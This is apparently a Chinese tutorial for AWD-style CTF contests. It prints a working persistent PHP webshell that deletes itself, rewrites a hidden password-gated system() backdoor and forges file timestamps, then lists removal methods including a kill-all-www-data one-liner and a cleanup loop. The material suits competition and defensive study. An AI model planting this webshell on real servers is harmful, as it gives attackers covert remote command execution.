PHP内存性木马

一种比较隐蔽的恶意代码,它的特点是能够在服务器上保持持续运行,而且通常会创建隐蔽的后门,以便攻击者随时可以访问受感染的服务器。这种木马在AWD(Attack-Defense War)和Web安全竞赛中经常被用来测试和挑战安全性。

示例

<?php

ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);

$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
	file_put_contents($file, $code);
	system('touch -m -d "2023-9-16 09:10:12" .ski12.php');
	usleep(5000);
}
代码 解释
ignore_user_abort(true) 告诉服务器在客户端断开连接后继续在后台运行执行脚本,即使用户关闭了浏览器或断开了连接
set_time_limit(0) 将PHP脚本的执行时间限制设置为无限制,确保脚本不会因为执行时间过长而中断
unlink(FILE) 删除当前运行的PHP脚本文件,使其在删除后不容易被发现
$file=‘/var/www/dvwa/.ski12.php’ 指定了木马脚本将要写入的文件路径
$code=‘…’ 木马脚本的主要部分,包含了一个基于POST请求的密码验证,如果提供的密码正确,就允许执行系统命令。这是后门的一部分,允许攻击者远程控制服务器
while (1) 一个无限循环,会不断将上述的木马代码写入指定的文件,使用system命令修改文件的修改时间,以隐藏木马的存在
file_put_contents($file, $code) 将木马代码写入指定的文件中
system(‘touch -m -d “2023-9-16 09:10:12” .ski12.php’) 使用system命令修改文件的修改时间,以隐藏木马的存在
usleep(5000) 这一行代码让程序暂停5000微秒(即0.005秒)再进入下一次循环

查杀方法

  • 重启服务:重启服务器上受感染的服务是一种有效的方法,因为它会终止所有正在运行的进程,包括木马程序。但这并不总是可行,因为可能会中断正常的服务并影响其他用户。
  • 终止www-data用户的子进程:这个命令会查找所有属于www-data用户的子进程,并强制终止它们。www-data用户通常用于运行Web服务器(如Apache或Nginx),而攻击者可能会尝试利用这个用户来运行木马。终止这些进程可以停止木马的执行。
    ps aux | grep www-data | awk '{print $2}' | xargs kill -9
    

    ps aux:列出当前运行的所有进程
    grep www-data:筛选包含"www-data"的进程
    awk ‘{print $2}’:提取进程ID
    xargs kill -9:强制终止这些进程

  • 创建同名目录:利用木马的自我保护机制。木马通常会检测是否存在与其文件名相同的目录,如果存在,则不会执行。因此,创建一个同名目录可以防止木马再次执行。
  • 编写竞争写入脚本:这是一种更高级的方法,它尝试不断写入和删除木马文件,以阻止木马的正常执行。需要确保竞争写入脚本的usleep()时间小于不死马的usleep()时间,以确保它能够成功干扰木马。
    #!/bin/bash
    
    # 创建一个数组,用于存储所有已知的木马文件路径
    malwareFiles=("木马的文件路径1" "木马的文件路径2")
    
    # 进入一个无限循环,用于持续清除木马
    while true; do
    	# 终止进程
    	processes=$(ps aux | grep "木马的进程名" | grep -v grep | awk '{print $2}')
    
    	# 将获取的PID字符串按行分割成数组
    	IFS=$'\n' read -ra process_ids <<< "$processes"
    
    	# 遍历PID数组并逐个终止进程
    	for pid in "${process_ids[@]}"; do
        	if [ ! -z "$pid" ]; then
            	kill -9 "$pid"
        	fi
    	done
    
    	# 删除木马文件
    	for file in "${malwareFiles[@]}"; do
        	if [ -e "$file" ]; then
            	rm -f "$file"
        	fi
    	done
    
    	# 暂停脚本执行,以避免过多系统资源占用
    	sleep 0.001
    done